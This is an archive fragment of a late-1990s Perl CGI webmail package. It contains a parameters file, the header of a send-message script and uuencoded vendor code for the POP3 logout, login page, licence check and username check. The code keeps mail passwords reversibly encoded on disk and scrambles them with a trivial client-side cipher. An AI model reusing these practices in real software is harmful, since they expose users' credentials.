M)&AE861E<G-[1$%934]]("`@("`@(#T@)F1A=&5?-%]I;F)O>"@D:&5A9&5R
*<WM$051%?2D["@``
1<F5T=7)N("5H96%D97)S.PH`
B?2`C(&5N9"!S=6)R;W5T:6YE(&=E=%]H96%D97)S+BXN"@``
9<W5B('!R:6YT7V)O='1O;5]L:6YK<R!["@``
M;7D@*"1U<V5R7V1I<FYA;64L)&-O<'EO;FQY+"1C;VQO<G,L)&QA;F<I(#T@
$0%\["@``
0;7D@)4,])21C;VQO<G,["@``
.;7D@)4P])21L86YG.PH`
3;7D@)5`])F=E=%]P87)A;7,["@``
M<')I;G0@(CQF;VYT(&9A8V4]7")A<FEA;"QH96QV971I8V%<(B!C;VQO<CTD
30WM415A47T),04-+?3Y<;B(["@``
4:68@*"9I<U]L:6-E;G-E9"D@>PH`
0<')I;G0\/$A%4D5$3T,["@``
./&9O;G0@<VEZ93TQ/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P(#QA(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/D%$
M2D4L($Q,0SPO83XN($%L;"!2:6=H=',@4F5S97)V960N(#QB/D1)4T-,04E-
M15(Z/"]B/B!5<V4@=&AI<R!S;V9T=V%R92!A;F0@=&AE(&%S<V]C:6%T960@
<=V5B('!A9V5S(&%T('EO=7(@;W=N(')I<VLN"@``
(/"]F;VYT/@H`
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
(/'-M86QL/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P($%$2D4L($Q,0R`H5&AE($5D9V4I+B!!;&P@4FEG:'1S(%)E
M<V5R=F5D+B`\8CY$25-#3$%)3452.CPO8CX@57-E('1H:7,@<V]F='=A<F4@
M86YD('1H92!A<W-O8VEA=&5D('=E8B!P86=E<R!A="!Y;W5R(&]W;B!R:7-K
M+B`@66]U(&UA>2!D;W=N;&]A9"!T:&4@<&5R;"!C9VD@<V-R:7!T<R!T:&%T
0(&=E;F5R871E('1H97-E"@``
M<&%G97,@/&(^1E)%13PO8CX@9G)O;2!O=7(@:&]M92!P86=E(&%T(#QB/CQA
M(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/FAT='`Z+R]W=W<N861J
197=E8BYC;VT\+V$^/"]B/@H`
)/"]S;6%L;#X*
(/"]F;VYT/@H`
(2$52141/0PH`
"?0H`
"?0H`
0<W5B(')M7VUS9V1I<B!["@``
0;7D@*"1D:7(I(#T@0%\["@``
*;&]C86P@)%\["@``
.;7D@)&9P871H/2<G.PH`
4;W!E;F1I<B@D9&ER+"1D:7(I.PH`
C=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*"1D:7(I*2D@>PH`
5+R@N*BDO("8F("@D7R`]("0Q*3L*
1+UY<+BLD+R`F)B!N97AT.PH`
4)&9P871H(#T@(B1D:7(O)%\B.PH`
1:68@*"UD("1F<&%T:"D@>PH`
4)G)M7VUS9V1I<B@D9G!A=&@I.PH`
)?2!E;'-E('L*
/=6YL:6YK("1F<&%T:#L*
"?0H`
"?0H`
7+60@)&1I<B`F)B!R;61I<B`D9&ER.PH`
(<F5T=7)N.PH`
"?0H`
3<W5B(&=E=%]O=7)?=6ED;"!["@``
C;7D@*"1M<V=N;RPD;7-G<VEZ92PD<V]C:V5T*2`]($!?.PH`
*;&]C86P@)%\["@``
M;7D@*"1F<F]M+"1D871E+"1S=6)J96-T+"1M97-S86=E:60L)'5I9&PI(#T@
2*"<G+"<G+"<G+"<G+"<G*3L*
D<V5N9"@D<V]C:V5T+")43U`@)&US9VYO(#!<<EQN(BPP*3L*
.)%\]/"1S;V-K970^.PH`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<<C]<;B0O
%("D@>PH`
5:68@*"`O7D9R;VTZ("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&9R;VT@/2`D7SL*
"?0H`
5:68@*"`O7D1A=&4Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
,)&1A=&4@/2`D7SL*
"?0H`
8:68@*"`O7E-U8FIE8W0Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
<)'-U8FIE8W0@/2!S=6)S='(H)%\L,"PS,BD["@``
"?0H`
;:68@*"`O7FUE<W-A9V4M:60Z("LO:2`I('L*
+<R]<<C]<;B\O.PH`
1)&UE<W-A9V5I9"`]("1?.PH`
"?0H`
"?0H`
M=VAI;&4@*"`H)%\])G)E861S;V-K*"1S;V-K970I*2`F)B`A+UY<+EQR/UQN
()"\@*2![?0H`
,)'5I9&P@/2`G)SL*
2:68@*"1M97-S86=E:60I('L*
F)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1M97-S86=E:60I.PH`
)?2!E;'-E('L*
M)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"(D9G)O;21D871E)'-U8FIE8W0D
+;7-G<VEZ92(I.PH`
"?0H`
"?0H`
/<W5B(')E861S;V-K('L*
3;7D@*"1S;V-K970I(#T@0%\["@``
/;7D@)&1A=&$@/2`G)SL*
.;7D@)&)U9B`]("<G.PH`
8=VAI;&4@*"1B=68@(7X@+UQN)"\I('L*
0)&)U9CT\)'-O8VME=#X["@``
/)&1A=&$@+CT@)&)U9CL*
"?0H`
.<F5T=7)N("1D871A.PH`
"?0H`
:<W5B('!A<G-E7V5M86EL7V%D9')E<W,@>PH`
*;&]C86P@)%\["@``
9;7D@*"1F=6QL7V%D9')E<W,I(#T@0%\["@``
M;7D@*$!A9&1R<RD@/2!-86EL.CI!9&1R97-S+3YP87)S92@D9G5L;%]A9&1R
&97-S*3L*
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
.:68@*$!A9&1R<RD@>PH`
K*"1N86UE(#T@)&%D9')S6S!=+3YP:')A<V4I(#U^(',O6R(G72LO+V<["@``
B)&%D9"`@(#T@(&QC*"1A9&1R<ULP72T^861D<F5S<RD["@``
M*"1C;VUM("`]("`D861D<G-;,%TM/F-O;6UE;G0I(#U^(',O6R@I72\O9SL*
)?2!E;'-E('L*
2)&YA;64@("`](").;VYE(CL*
2)&%D9"`@("`](").;VYE(CL*
2)&-O;6T@("`](").;VYE(CL*
"?0H`
;<F5T=7)N("@D;F%M92PD861D+"1C;VUM*3L*
"?0H`
0<W5B(&=E=%]F:65L9"!["@``
5;7D@*"1R96,L)&9L9"D@/2!`7SL*
/;7D@)'9A;#UU;F1E9CL*
M*"0D<F5C(#U^(&TC)"1F;&0Z*%M>7'Q=*BDC*2`F)B`H)'9A;"`]("0Q*3L*
-<F5T=7)N("1V86P["@``
"?0H`
#,3L*
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
E;7D@)4,@/2`F9V5T7V-O;&]R<R@D4'M714)-04E,1$E2?2D["@``
7;7D@)4P@/2`F9V5T7VQA;F=U86=E.PH`
-=6UA<VLH,#$W-RD["@``
J:68@*"`D14Y6>R=215%515-47TU%5$A/1"=](&5Q(")03U-4(B`I('L*
M<F5A9"A35$1)3BPD<7-T<FEN9RPD14Y6>R=#3TY414Y47TQ%3D=42"=]+#`I
<('Q\(&1I92`B<F5A9"!E<G)O<CH@)"%<;B(["@``
)?2!E;'-E('L*
C)'%S=')I;F<@("`]("1%3E9[)U%515)97U-44DE.1R=].PH`
"?0H`
=0$1!5$$@/2!S<&QI="@O)B\L)'%S=')I;F<I.PH`
89F]R96%C:"`D;&EN92`H0$1!5$$I('L*
C*"1N86UE+"1V86QU92D@/2!S<&QI="@O/2\L)&QI;F4I.PH`
@)'9A;'5E(#T@)G5N97-C87!E7W5R;"@D=F%L=64I.PH`
;:68@*"1N86UE(&5Q(")54T523D%-12(I('L*
4)'5S97)N86UE(#T@)'9A;'5E.PH`
B)G9A;&ED871E7W5S97)N86UE*"1U<V5R;F%M92PQ-BD["@``
M*"1U<V5R;F%M92`]?B`O7B@N*BDD+RD@)B8@*"1U<V5R;F%M92`]("0Q*3L*
"?0H`
"?0H`
M;7D@)'5S97)?9&ER;F%M92`]("(D4'M714)-04E,1$E2?2\D=7-E<FYA;64B
".PH`
M)F-H96-K7VQO9VEN*%PE3"Q<)4,L)'5S97)?9&ER;F%M92PD4'M424U%3U54
$?2D["@``
')"(])R<["@``
M)&]U=&US9V1B(#T@(B1U<V5R7V1I<FYA;64O;W5T;65S<V%G97,N='AT(CL*
4:68@*"UF("1O=71M<V=D8BD@>PH`
8;W!E;BA/1D@L(CPD;W5T;7-G9&(B*3L*
<0&]U=&%R<B`](#Q/1D@^.R!C;&]S92!/1D@["@``
49F]R96%C:"`H0&]U=&%R<BD@>PH`
?+U9!4EPO4U1!5$4Z1$5,151%7'PO("8F(&YE>'0["@``
2<'5S:"A`;F5W;W5T+"1?*3L*
A)&ED(#T@)F=E=%]F:65L9"A<)%\L7"=605(O240G*3L*
7)&EN7V]U=&US9V1B>R1I9'T@/2`Q.PH`
"?0H`
B;W!E;F1I<BA$1D@L(B1U<V5R7V1I<FYA;64O;W5T(BD["@``
B=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*$1&2"DI*2!["@``
1+UY<+BLD+R`F)B!N97AT.PH`
A:68@*"%E>&ES=',H)&EN7V]U=&US9V1B>R1??2DI('L*
3+R@N*BDO("8F("@D7STD,2D["@``
D)G)M7VUS9V1I<B@B)'5S97)?9&ER;F%M92]O=70O)%\B*3L*
"?0H`
"?0H`
+8VQO<V4@1$9(.PH`
::68@*$!N97=O=70@(3T@0&]U=&%R<BD@>PH`
8;W!E;BA/1D@L(CXD;W5T;7-G9&(B*3L*
5<')I;G0@3T9((")`;F5W;W5T(CL*
+8VQO<V4@3T9(.PH`
"?0H`
"?0H`
2:68@*"`D4'M34%-3?2`I('L*
F;W!E;BA01D@L(B1U<V5R7V1I<FYA;64O+F1W<W-P+G1X="(I.PH`
B;7D@)'!A<W-W;W)D(#T@=6YP86-K*"=U)RP\4$9(/BD["@``
,8VQO<V4H4$9(*3L*
M)'-O8VME="`](&YE=R!)3SHZ4V]C:V5T.CI)3D54+3YN97<H(`E0965R061D
5<B`@/3X@)%![4$]04T525D52?2P*
9"0D)"0E0965R4&]R="`@/3X@(C$Q,"(L"@``
9"0D)"0E0<F]T;R`@("`@/3X@(G1C<"(L"@``
?"0D)"0E4>7!E("`@("`@/3X@4T]#2U]35%)%04TL"@``
9"0D)"0E4:6UE;W5T("`@/3X@(C,P(BD["@``
7)%\])G)E861S;V-K*"1S;V-K970I.PH`
E)'-O8VME="T^<V5N9"@B55-%4B`D=7-E<FYA;65<<EQN(BD["@``
7)%\])G)E861S;V-K*"1S;V-K970I.PH`
E)'-O8VME="T^<V5N9"@B4$%34R`D<&%S<W=O<F1<<EQN(BD["@``
7)%\])G)E861S;V-K*"1S;V-K970I.PH`
<<V5N9"@D<V]C:V5T+"),25-47')<;B(L,"D["@``
7)%\])G)E861S;V-K*"1S;V-K970I.PH`
M=VAI;&4@*"`A+UXM15)2+VD@)B8@*"1?/29R96%D<V]C:R@D<V]C:V5T*2D@
4)B8@(2]>7"Y<<C]<;B0O("D@>PH`
,<R]<<C]<;B0O+SL*
;*"1M<V=N;RPD;7-G<VEZ92D@/2!S<&QI=#L*
>)&US9U]S:7IE>R1M<V=N;WT@/2`D;7-G<VEZ93L*
6<'5S:"A`;7-G;F]S+"1M<V=N;RD["@``
"?0H`
<<V5N9"@D<V]C:V5T+")5241,7')<;B(L,"D["@``
7)%\])G)E861S;V-K*"1S;V-K970I.PH`
M=VAI;&4@*"`A+UXM15)2+VD@)B8@*"1?/29R96%D<V]C:R@D<V]C:V5T*2D@
4)B8@(2]>7"Y<<C]<;B0O("D@>PH`
,<R]<<C]<;B0O+SL*
8*"1M<V=N;RPD=6ED;"D@/2!S<&QI=#L*
A)'5I9&P@/2`F=6ED;%]T;U]D:7)N86UE*"1U:61L*3L*
8)$U31TY/>R1U:61L?2`]("1M<V=N;SL*
"?0H`
0:68@*"]>+4524B]I*2!["@``
;9F]R96%C:"`D;7-G;F\@*$!M<V=N;W,I('L*
M)'5I9&P@/2`F9V5T7V]U<E]U:61L*"1M<V=N;RPD;7-G7W-I>F5[)&US9VYO
,?2PD<V]C:V5T*3L*
8)$U31TY/>R1U:61L?2`]("1M<V=N;SL*
"?0H`
"?0H`
M;7D@0&US9W,@("`@("`@/2`F<F5A9%]M97-S86=E<U]F<F]M7V1I<VLH(B1U
<<V5R7V1I<FYA;64O;65S<V%G97,N='AT(BD["@``
M;7D@)6US9U]S=&%T97,@/2`F9V5T7VUE<W-A9V5?<W1A=&5S*%Q`;7-G<RD[
!"@``
.9F]R("A`;7-G<RD@>PH`
A+U9!4EPO240Z*"XJ/RE<?"\@)B8@*"1I9"`]("0Q*3L*
>*&UY("1F;F%M92`]("1?*2`]?B!S+UXN*CHO+SL*
6)$9.04U%>R1I9'T@/2`D9FYA;64["@``
"?0H`
.)&1E;&5T960@/2`P.PH`
C9F]R96%C:"`D=6ED("AK97ES*"5M<V=?<W1A=&5S*2D@>PH`
M:68@*"`H)&US9U]S=&%T97-[)'5I9'T@97$@(D1%3$5412(I("8F("AE>&ES
6=',H)$U31TY/>R1U:61]*2D@*2!["@``
I<V5N9"@D<V]C:V5T+")$14Q%("1-4T=.3WLD=6ED?5QR7&XB+#`I.PH`
7)%\])G)E861S;V-K*"1S;V-K970I.PH`
E)G)M7VUS9V1I<B@B)'5S97)?9&ER;F%M92]I;B\D=6ED(BD["@``
,)&1E;&5T960K*SL*
"?0H`
"?0H`
<<V5N9"@D<V]C:V5T+")154E47')<;B(L,"D["@``
7)%\])G)E861S;V-K*"1S;V-K970I.PH`
0:68@*"1D96QE=&5D*2!["@``
.9F]R("A`;7-G<RD@>PH`
?+U9!4EPO4U1!5$4Z1$5,151%7'PO("8F(&YE>'0["@``
3<'5S:"A`;F5W;7-G<RPD7RD["@``
"?0H`
M)G=R:71E7VUE<W-A9V5S7W1O7V1I<VLH(B1U<V5R7V1I<FYA;64O;65S<V%G
497,N='AT(BQ<0&YE=VUS9W,I.PH`
"?0H`
A;W!E;F1I<BA$1D@L(B1U<V5R7V1I<FYA;64O:6XB*3L*
B=VAI;&4H9&5F:6YE9"@D7SUR96%D9&ER*$1&2"DI*2!["@``
1+UY<+BLD+R`F)B!N97AT.PH`
M:68@*"%E>&ES=',H)$U31TY/>R1??2D@)B8@*"1&3D%-17LD7WT@(7X@+TQ!
24U1#3U!9+G1X="0O*2`I('L*
3+R@N*BDO("8F("@D7STD,2D["@``
C)G)M7VUS9V1I<B@B)'5S97)?9&ER;F%M92]I;B\D7R(I.PH`
"?0H`
"?0H`
+8VQO<V4@1$9(.PH`
4?2`C(&5N9"!I9B`D4'M34%-3?0H`
M+68@(B1U<V5R7V1I<FYA;64O:7`N='AT(B`F)B!U;FQI;FLH(B1U<V5R7V1I
0<FYA;64O:7`N='AT(BD["@``
M+68@(B1U<V5R7V1I<FYA;64O+F1W<W-P+G1X="(@)B8@=6YL:6YK*"(D=7-E
8<E]D:7)N86UE+RYD=W-S<"YT>'0B*3L*
>)'1I=&QE/21,>R=L;V=O=71C;VYF=&ET;&4G?3L*
M)&5R<FUS9STB)&1E;&5T960@)$Q[)TUE<W-A9V5S($1E;&5T960@9G)O;2!-
486EL(%-E<G9E<B=]+CQB<CXB.PH`
M)&5R<FUS9RX](B1,>R=L;V=O=71C;VYF;7-G,2=]/&)R/B1,>VQO9V]U=&-O
*;F9M<V<R?2(["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]/1D972$E417T@;&EN:STD0WM,24Y+?2!A
@;&EN:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
B/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP=#$N,B(^"@``
%/"$M+0H`
69G5N8W1I;VX@9')E<W-I="`H*2!["@``
L=F%R(&MV(#T@(B(@*R!D;V-U;65N="YL;V=I;BY54T523D%-12YV86QU90H`
3=F%R(&ML(#T@:W8N;&5N9W1H"@``
E=F%R('!V(#T@(B(@*R!D;V-U;65N="YL;V=I;BY0+G9A;'5E"@``
3=F%R('!L(#T@<'8N;&5N9W1H"@``
,=F%R(&5S(#T@(B(*
/=F%R(&YP87-S(#T@(B(*
/=F%R('5S96ME>2`](#$*
,=F%R(&-N="`](#`*
-<'8@/2!R978H<'8I"@``
0=F%R(&-I<&AE<B`]("(B"@``
;9F]R("AV87(@:3TP.R!I/'!L.R!I*RLI('L*
.:68@*&D^:VPM,2D@>PH`
/:68@*&-N=#X]:VPI('L*
5=7-E:V5Y(#T@,#L@8VYT(#T@,#L*
)?2!E;'-E('L*
/=7-E:V5Y(#T@8VYT*RL*
"?0H`
)?2!E;'-E('L*
+=7-E:V5Y(#T@:0H`
"?0H`
M=F%R(&%D9"`]('!V+F-H87)#;V1E070H:2D@*R!K=BYC:&%R0V]D94%T*'5S
&96ME>2D*
48VEP:&5R("L](&%D9"`K("(@(@H`
B;G!A<W,@*ST@4W1R:6YG+F9R;VU#:&%R0V]D92AA9&0I"@``
"?0H`
C9&]C=6UE;G0N;&]G:6XN3$E35"YV86QU92`](&-I<&AE<@H`
"?0H`
79G5N8W1I;VX@<F5V*'-T<FEN9RD@>PH`
.=F%R(')E=F0@/2`B(@H`
,=F%R(&YP(#T@(B(*
I9F]R("AV87(@:3US=')I;F<N;&5N9W1H+3$[(&D^/3`[(&DM+2D@>PH`
9<F5V9"`K/2!S=')I;F<N8VAA<D%T*&DI"@``
*;G`@*ST@(BHB"@``
"?0H`
<9&]C=6UE;G0N;&]G:6XN4"YV86QU92`](&YP"@``
,<F5T=7)N(')E=F0*
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/'1A8FQE(&-E;&QP861D:6YG/30@8V5L;'-P86-I;F<],"!W:61T:#TB,3`P
$)2(^"@``
M/&9O<FT@;F%M93UL;V=I;B!M971H;V0]4$]35"!A8W1I;VX](FEN8F]X+F-G
$:2(^"@``
M/&EN<'5T('1Y<&4]:&ED9&5N(&YA;64]55-%4DY!344@=F%L=64](B1U<V5R
';F%M92(^"@``
L/&EN<'5T('1Y<&4]:&ED9&5N(&YA;64]04-424].('9A;'5E/6QO9VEN/@H`
G/&EN<'5T('1Y<&4]:&ED9&5N(&YA;64]3$E35"!V86QU93TB(CX*
%/'1R/@H`
M/%1$(&-O;'-P86X],B!B9V-O;&]R/21#>T)'7T]204Y'17T@86QI9VX]8V5N
/=&5R('=I9'1H/3DP)3X*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
-04-+?2!S:7IE/30^"@``
8/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX*
(/"]F;VYT/@H`
&/"]41#X*
H/%1$(&%L:6=N/6-E;G1E<B!B9V-O;&]R/21#>T)'7U!54E!,17T^"@``
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
-04-+?2!S:7IE/30^"@``
6/&(^)$Q[)U!A<W-W;W)D)WT\+V(^"@``
(/"]F;VYT/@H`
&/"]41#X*
H/'1D(&%L:6=N/6-E;G1E<B!B9V-O;&]R/21#>T)'7U!54E!,17T^"@``
E/&EN<'5T('1Y<&4]<&%S<W=O<F0@;F%M93U0('-I>F4],C`^"@``
&/"]T9#X*
H/'1D(&%L:6=N/6-E;G1E<B!B9V-O;&]R/21#>T)'7U!54E!,17T^"@``
M/&EN<'5T('1Y<&4]<W5B;6ET(&]N8VQI8VL](F1R97-S:70H*3LB('9A;'5E
+/2),;V<@26XB/@H`
&/"]T9#X*
&/"]T<CX*
%/'1R/@H`
:/'1D(&-O;'-P86X]-3XF;F)S<#L\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
</'1D(&-O;'-P86X]-2!A;&EG;CUC96YT97(^"@``
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
9/'-T<F]N9SXD97)R;7-G/"]S=')O;F<^"@``
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
%/'1R/@H`
:/'1D(&-O;'-P86X]-3XF;F)S<#L\+W1D/@H`
&/"]T<CX*
(/"]F;W)M/@H`
)/"]T86)L93X*
(2$52141/0PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
$/'`^"@``
(2$52141/0PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")#3U!94DE'2%1/
/3DQ9(BQ<)4,L7"5,*3L*
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
B/'-C<FEP="!L86YG=6%G93TB2F%V85-C<FEP=#$N,B(^"@``
%/"$M+0H`
99&]C=6UE;G0N;&]G:6XN4"YF;V-U<R@I"@``
:9&]C=6UE;G0N;&]G:6XN4"YV86QU93TB(@H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
(/"]H=&UL/@H`
(2$52141/0PH`
wm357/params.cgi100644    312    144       10140  7245677670  12760 0ustar  webmailusers# WARNING: Please DO NOT remove this FILE!!!

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

sub get_params {

my %params;

# Home Directory of user that will be serving this email domain
# Should be the home directory of user "webmail" for installations
# serving a single domain (if you used the example!)

$params{WEBMAILDIR} = "/users/webmail";
#$params{CGIBIN} = "/home/httpd/cgi-bin";

# everything after the "@" in your email address...

#$params{ISP}        = "adjeweb.com"; 
#$params{ADNO}="temp"; # no longer used..

# Timeout in minutes. This is the amount of time that may elapse
# since you last used one of these cgi scripts...

$params{TIMEOUT}   = 30;

#
# YOU SHOULD NOT HAVE TO CHANGE THE FOLLOWING LINES..
#

$ENV{PATH} = "/"; # suppress setuid/taint errors...

# where log files are written (for debugging)
# YOU MAY CHANGE THIS LINE IF YOU WISH!!!

#$params{LOGDIR}    = "/tmp"; # no longer used...
$params{ADID}="temp";

# set to 0 if you ARE NOT debugging the software, 1 if you are..
# YOU MAY CHANGE THIS LINE IF YOU WISH!!!

#$params{DEBUG}     = "1"; # no longer used...

# license info

$params{LIC}     = "0";

$params{POPSERVER}  = "localhost";
$params{SMTPSERVER} = "localhost";

$params{INSTALLOPTION} = "setuid";
$params{SPSS} = "1";
$params{VERSION} = "3.34";
$params{LANGUAGE} = "english";

return %params;

}

sub get_colors {

my ($colors_dir)=@_;
my %COLORS;

open(FH,"<$colors_dir/colors.txt");
while(<FH>) {
  ( /^#/ || /^\s*$/ ) && next;
  ($ref,$color) = split;
  $COLORS{$ref}=$color;
}

#foreach $key (keys(%COLORS)) {
# print "COLORS{$key} = $COLORS{$key}\n";
#}

return %COLORS;

}

sub get_prefs {
my ($user_dirname) = @_;

local $_;

my %PREFS=();

(! -f "$user_dirname/prefs.txt") && (return %PREFS);

open(FH,"<$user_dirname/prefs.txt");
while(defined($_=<FH>)) {

  !/^__ADJE_START_VARIABLE__/ && next;
#print;

  my $value="";

  ($start,$vardata,$value) = split(/\|/,$_);
  chomp($vardata);
  ($varname,$vartype) = split(/_/,$vardata);

#print "vartype = $vartype varname=$varname\n";

  $PREFS{$varname} = ""; 

  if ($vartype eq "SINGLE") {
      chomp($value);
  } else { # MULTI
     while( defined($_=<FH>) && !/^__ADJE_END_VARIABLE__/ ) {
       $value .= $_;
     }
  } # end if....

  ($value) && ($PREFS{$varname} = $value);

} # end while...
#print STDERR "user dirname = $user_dirname\n";
#foreach $key (keys(%PREFS)) {
#  print STDERR "PREFS{$key} = **$PREFS{$key}**\n";
#}
  return %PREFS;
} # end sub get_prefs...

sub uidl_to_dirname {

# change all non-alphanumeric characters in UIDL to their
# ord (ascii) value to ensure they are fit to be used as
# directory names...

my ($in) = @_;

local $_;
my $chr = '';
my $uidl_dir = '';

if ($in =~ /^\w+$/) {
  $uidl_dir = $in;
} else {
  pos($in)=0;
  while ($in =~ /(.)/gs) {
    $chr=$1;
    ($chr =~ /\w/) ? ($uidl_dir .= $chr) : ($uidl_dir .= ord($chr));
#    print STDERR "uidl = $uidl_dir\n";
  }
} # end if... 
return $uidl_dir;
} # end sub

1;
wm357/sendmsg.cgi100644    312    144      154034  7245677670  13170 0ustar  webmailusers#!/usr/bin/perl -wT

# Copyright 1998-present Michael Mohlere
# Copyright 1998-present ADJE, LLC

# TERMS:
# The advertisement html may NOT be changed, and no additional ad banners
# may be placed on the pages.  This is how we are compensated.  The ad banners,
# on a good month, will generate about $1 (one US dollar) in revenue, so it's
# hardly worth the risk of a copyright infringement! If you wish to include
# your own ad banners, you may purchase a site license.  Please visit our home
# page for details. Copyright and disclaimers may not be removed from pages.

# DISCLAIMER: Use this software at your own risk.

# WARNING: This computer program is protected by copyright law and international
# treaties. Unauthorized reproduction or distribution of this program, or any
# portion of it, may result in severe civil and criminal penalties, and will be
# prosecuted to the maximum extent possible under the law.

# Contact us ( support@adjeweb.com ) if you have problems installing
# the software.  We're here to help!

# Michael Mohlere
# President, ADJE, LLC ( http://www.adjeweb.com )

# This software includes many modules available from CPAN (Comprehensive
# Perl Archive Network - see www.perl.com).  These modules are free to use,
# modify, and distribute under the GNU GPL.

# Control error_log output OR print name of script to STDERR
BEGIN {
  use CGI::Carp qw(carpout);
  open(LOG,">>/dev/null") or die "Unable to append to /dev/null: $!\n";
  carpout(*LOG);
}

use lib ".";
use IO::Socket;
use Text::Wrap;
$Text::Wrap::columns = 70;
$Text::Tabs::tabstop = 1;
use CGI qw/(:cgi) escape unescape/;
use Mail::Address;
use MIME::Head;
use MIME::Base64;

require "./params.cgi";
require "./language.cgi";
do './Mail/ADJEMail';
__END__
/<W5B('9A;&ED871E('L*
A;7D@*"1V87(L)'!A='1E<FXL)&UA>&QE;BD@/2!`7SL*
M*"1V87(@/7X@+UXH)'!A='1E<FXI)"\@)B8@;&5N9W1H("1V87(@/#T@)&UA
7>&QE;BD@/R!R971U<FX@.B!E>&ET.PH`
"?0H`
8<W5B('9A;&ED871E7W5S97)N86UE('L*
:;7D@*"1U<V5R;F%M92PD;&5N*2`]($!?.PH`
+)&QE;B`](#,R.PH`
A*"1U<V5R;F%M92`]?B`O7"Y<+B\I("`@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O6UQ<7"]=+RD@)B8@97AI=#L*
A*"1U<V5R;F%M92`]?B`O97AE8R`O:2D@)B8@97AI=#L*
C*&QE;F=T:"`D=7-E<FYA;64@/B`D;&5N*2`F)B!E>&ET.PH`
"?0H`
2<W5B(&ES7VQI8V5N<V5D('L*
-;7D@)&QI8R`](#`["@``
5;7D@)5`@/2`F9V5T7W!A<F%M<SL*
M*&UY("1H='1P7VAO<W0@/2`D14Y6>TA45%!?2$]35'TI(#U^(',O.EQD*R0O
#+SL*
/:68@*"10>TQ)0WTI('L*
2;7D@)&-O9&4])%![3$E#?3L*
2)&-O9&4@/7X@<R]>+BXO+SL*
3)&-O9&4@/7X@<R\N+BXD+R\["@``
@)&AE>"`]("9U<FQ?=&]?:&5X*"1H='1P7VAO<W0I.PH`
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
-:68@*"$D;&EC*2!["@``
*;7D@)&%D9'(["@``
A:68@*&5X:7-T<R@D14Y6>U-%4E9%4E]!1$12?2DI('L*
M*"1%3E9[4T525D527T%$1%)](#U^("]>*%M<9%PN72LI)"\I("8F("@D861D
'<CTD,2D["@``
0(21A9&1R("8F(&5X:70["@``
)?2!E;'-E('L*
>=7-E($E/.CI3;V-K970@<7<H:6YE=%]N=&]A*3L*
M)&%D9'(@/2!I;F5T7VYT;V$H<V-A;&%R*&=E=&AO<W1B>6YA;64H)&AT='!?
):&]S="DI*3L*
"?0H`
A;7D@0&%D9')E<W,@/2!S<&QI="@O7"XO+"1A9&1R*3L*
-;7D@)'1O="`](#`["@``
?9F]R("A`861D<F5S<RD@>R`D=&]T("L]("1?.R!]"@``
>;7D@)&AE>"`]('-P<FEN=&8H(B5X(BPD=&]T*3L*
/)&AE>#UU8R@D:&5X*3L*
@)&QI8R`]("@D8V]D92!E<2`D:&5X*2`_(#$@.B`P.PH`
"?0H`
6?2`C(&5N9"!I9B`D4'M,24-]+BXN"@``
-<F5T=7)N("1L:6,["@``
